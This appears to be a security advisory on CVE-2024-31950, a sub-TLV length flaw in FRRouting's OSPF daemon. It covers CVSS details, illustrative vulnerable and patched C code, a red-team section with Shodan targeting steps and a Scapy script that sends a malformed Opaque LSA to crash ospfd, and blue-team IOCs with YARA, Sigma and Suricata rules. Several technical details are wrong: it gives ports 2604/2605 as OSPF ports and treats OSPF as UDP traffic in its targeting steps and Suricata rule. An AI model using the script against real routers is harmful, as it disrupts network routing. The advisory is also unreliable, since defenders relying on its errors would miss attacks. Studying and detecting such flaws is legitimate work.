CVE-2024-31950

Executive Summary

CVE-2024-31950 is a critical buffer overflow vulnerability in FRRouting (FRR) through version 9.1, specifically within the OSPF (Open Shortest Path First) daemon. The flaw resides in the ospf_te_parse_ri function, which processes OSPF Link State Advertisement (LSA) packets. When parsing Segment Routing sub-TLVs (Type-Length-Value), the function fails to validate the size of the sub-TLV data before reading it. This allows an unauthenticated, remote attacker to send a specially crafted OSPF LSA packet, causing a buffer overflow that leads to a daemon crash (denial of service). While no public proof-of-concept (PoC) or exploit code is currently available, the vulnerability is trivially exploitable due to the lack of input validation. The CVSS score is 7.5 (High) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, indicating network-based, low-complexity exploitation with no privileges required, resulting in a high availability impact.

Supply Chain & Package Security

FRRouting is a critical open-source routing protocol suite used in many network appliances, SDN controllers, and enterprise routers. This vulnerability affects the OSPF daemon, which is a core component. Organizations using FRR in production environments should treat this as a high-priority supply chain risk. The lack of an official patch at the time of analysis means that any deployment of FRR <= 9.1 is vulnerable. Users must monitor the FRR GitHub repository and mailing lists for patch announcements. As a temporary measure, network segmentation and strict OSPF authentication should be enforced to mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send a crafted OSPF packet.
• Privileges Required (PR): None (N) – No authentication or privileges are needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): High (H) – The daemon crashes, causing a denial of service.

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication. While the impact is limited to availability, a crash of the OSPF daemon can disrupt routing operations, leading to network instability and potential blackholing of traffic.

Deep Dive & Mechanics

The vulnerability is located in the OSPF Traffic Engineering (TE) extension, which is used to carry additional information in OSPF LSAs, such as Segment Routing (SR) capabilities. The function ospf_te_parse_ri is responsible for parsing the Router Information (RI) TLV, which may contain sub-TLVs for Segment Routing.

The root cause is a missing size validation when reading Segment Routing sub-TLVs. The code reads the sub-TLV type and length from the packet, but it does not verify that the length field is within the bounds of the remaining packet data. An attacker can craft an OSPF LSA with a malformed sub-TLV where the length field is larger than the actual data available. This causes the function to read beyond the allocated buffer, leading to a buffer overflow and subsequent crash of the ospfd daemon.

The vulnerable code path is triggered when the OSPF daemon receives a Type 9 (Opaque LSA) or Type 10 (Opaque LSA) packet containing the TE TLV. The parsing logic iterates over sub-TLVs without proper bounds checking. The specific sub-TLV types for Segment Routing (e.g., SID/Label sub-TLV) are the attack vector.

Vulnerable vs. Patched Code

The following is a simplified representation of the vulnerable code pattern in FRR <= 9.1. The patched version would include a size check before reading the sub-TLV data.

Vulnerable Code (ospf_te_parse_ri.c):

static void ospf_te_parse_ri(struct ospf_lsa *lsa, struct te_tlv_header *tlv) {
    uint16_t length = ntohs(tlv->length);
    uint8_t *pnt = (uint8_t *)tlv + sizeof(struct te_tlv_header);
    uint8_t *end = pnt + length;

    while (pnt < end) {
        struct te_tlv_header *sub_tlv = (struct te_tlv_header *)pnt;
        uint16_t sub_length = ntohs(sub_tlv->length);
        // VULNERABLE: No check if sub_length exceeds remaining buffer
        // Read sub-TLV data without bounds check
        if (sub_tlv->type == SUB_TLV_SR) {
            // Process Segment Routing sub-TLV
            // This read can overflow if sub_length is larger than available data
            uint8_t *sr_data = pnt + sizeof(struct te_tlv_header);
            // ... process sr_data ...
        }
        pnt += sizeof(struct te_tlv_header) + sub_length;
    }
}

Patched Code (Hypothetical Fix):

static void ospf_te_parse_ri(struct ospf_lsa *lsa, struct te_tlv_header *tlv) {
    uint16_t length = ntohs(tlv->length);
    uint8_t *pnt = (uint8_t *)tlv + sizeof(struct te_tlv_header);
    uint8_t *end = pnt + length;

    while (pnt + sizeof(struct te_tlv_header) <= end) {
        struct te_tlv_header *sub_tlv = (struct te_tlv_header *)pnt;
        uint16_t sub_length = ntohs(sub_tlv->length);
        // FIX: Validate sub-TLV length against remaining buffer
        if (pnt + sizeof(struct te_tlv_header) + sub_length > end) {
            // Log error and break
            break;
        }
        if (sub_tlv->type == SUB_TLV_SR) {
            uint8_t *sr_data = pnt + sizeof(struct te_tlv_header);
            // ... process sr_data safely ...
        }
        pnt += sizeof(struct te_tlv_header) + sub_length;
    }
}

Exploitation & Lab Setup

Red Team

Objective: Crash the OSPF daemon on a target FRR router.

Prerequisites:

• A target running FRR <= 9.1 with OSPF enabled.
• Network access to the target's OSPF interface (typically multicast 224.0.0.5/6 or unicast).
• Ability to craft raw OSPF packets (e.g., using Scapy or a custom C program).

Exploitation Steps:

1. Identify Target: Use Shodan or network scanning to find FRR routers with OSPF enabled (port 2604 for OSPF, 2605 for OSPF6D).
2. Craft Malicious OSPF LSA: Create an OSPF Type 9 or Type 10 Opaque LSA with a TE TLV containing a malformed Segment Routing sub-TLV. The sub-TLV length field should be set to a value larger than the actual data (e.g., length=65535).
3. Send Packet: Use a tool like Scapy to send the crafted LSA to the target's OSPF interface. The packet must be a valid OSPF packet with the correct checksum and authentication (if enabled).
4. Observe Crash: The ospfd daemon will crash due to the buffer overflow, causing a denial of service. The router will lose OSPF adjacencies and routing information.

Example Scapy Script:

#!/usr/bin/env python3
from scapy.all import *
import struct

# Craft a malicious OSPF LSA with oversized sub-TLV
# This is a simplified example; real exploitation requires proper OSPF packet structure

def craft_malicious_lsa():
    # OSPF header
    ospf_hdr = IP(src="192.168.1.100", dst="224.0.0.5")/OSPF_Hdr(src="1.1.1.1", area="0.0.0.0", chksum=0)
    
    # Opaque LSA header (Type 10)
    opaque_lsa = OSPF_LSA_Hdr(ls_age=0, options=0x02, type=10, ls_id="0.0.0.1", adv_router="1.1.1.1", ls_seq=0x80000001, chksum=0, length=0)
    
    # TE TLV with malformed sub-TLV
    # Sub-TLV type 6 (Segment Routing) with length 65535
    sub_tlv = struct.pack("!HH", 6, 65535)  # Type=6, Length=65535 (overflow)
    # Pad with some data to fill the packet
    sub_tlv += b"A" * 100
    
    # TE TLV header
    te_tlv = struct.pack("!HH", 1, len(sub_tlv)) + sub_tlv  # Type=1 (Router Information)
    
    # Opaque LSA data
    opaque_data = te_tlv
    
    # Update LSA length
    opaque_lsa.length = len(opaque_data) + 20  # 20 bytes for LSA header
    
    # Build full packet
    packet = ospf_hdr/opaque_lsa/Raw(load=opaque_data)
    
    # Send packet
    send(packet, iface="eth0", verbose=0)

if __name__ == "__main__":
    craft_malicious_lsa()

Blue Team

Detection & Mitigation:

1. Network Monitoring: Monitor OSPF packets for anomalous sub-TLV lengths. Use Suricata or Zeek to inspect OSPF LSA payloads.
2. OSPF Authentication: Enable OSPF MD5 or SHA authentication to prevent unauthorized packets from being processed.
3. Rate Limiting: Implement rate limiting on OSPF packets to reduce the impact of repeated attacks.
4. Segmentation: Isolate OSPF-speaking devices on a management network or use dedicated routing domains.
5. Patch Management: Monitor FRR releases and apply patches as soon as they become available. Until then, consider disabling OSPF TE extensions if not required.

Indicators of Compromise (IOCs)

• Network IOCs:
  • OSPF Opaque LSA packets (Type 9 or 10) with TE TLV containing sub-TLV type 6 (Segment Routing) and an abnormally large length field (e.g., > 1000 bytes).
  • Repeated OSPF packets from a single source with malformed TLVs.
  • Sudden loss of OSPF adjacencies or routing table instability.
• System IOCs:
  • Crash of the ospfd daemon (core dump in /var/log/ or /var/core/).
  • Log entries in /var/log/frr/ospfd.log indicating a segmentation fault or buffer overflow.
  • High CPU usage by ospfd before crash.

Detection Engineering

YARA Rule

rule CVE_2024_31950_OSPF_Overflow {
    meta:
        description = "Detects OSPF packets with oversized Segment Routing sub-TLV"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-31950"
    strings:
        $ospf_opaque = { 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }  // OSPF Opaque LSA type 10
        $te_tlv = { 00 01 }  // TE TLV type 1 (Router Information)
        $sr_subtlv = { 00 06 }  // Segment Routing sub-TLV type 6
        $large_length = { FF FF }  // Length field 65535 (or any value > 1000)
    condition:
        $ospf_opaque and $te_tlv and $sr_subtlv and $large_length
}

Sigma Rule

title: CVE-2024-31950 OSPF Buffer Overflow Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects OSPF packets with oversized Segment Routing sub-TLV indicating exploitation attempt
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31950
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_protocol: ospf
        ospf.type: 10  # Opaque LSA
        ospf.lsa_type: 10  # Opaque LSA type
        ospf.te_tlv_type: 1  # Router Information
        ospf.sub_tlv_type: 6  # Segment Routing
        ospf.sub_tlv_length|gt: 1000  # Abnormally large length
    condition: selection
falsepositives:
    - Legitimate OSPF TE extensions with large sub-TLVs (unlikely)
level: high
tags:
    - attack.t1499
    - cve.2024.31950

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 2604 (msg:"CVE-2024-31950 OSPF Buffer Overflow Attempt"; content:"|02 00 00 00|"; depth:4; offset:0; content:"|00 01|"; distance:0; within:2; content:"|00 06|"; distance:0; within:2; content:"|FF FF|"; distance:0; within:2; reference:cve,2024-31950; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable OSPF Traffic Engineering (TE) extensions if not required: no ospf te in FRR configuration.
   • Enable OSPF authentication (MD5 or SHA) to prevent unauthorized packets.
   • Apply network access control lists (ACLs) to restrict OSPF packet sources to trusted routers only.

2. Long-term Fix:

   • Monitor the FRR GitHub repository (https://github.com/FRRouting/frr) for a patch. Apply the patch as soon as it is released.
   • Upgrade to FRR version 9.2 or later once the fix is included.
   • Consider using a different routing protocol (e.g., IS-IS) if OSPF TE is critical and cannot be patched.

3. Workaround:

   • Use a firewall to block OSPF packets from untrusted networks.
   • Implement OSPF packet validation using a custom script or IDS/IPS.

Valters IT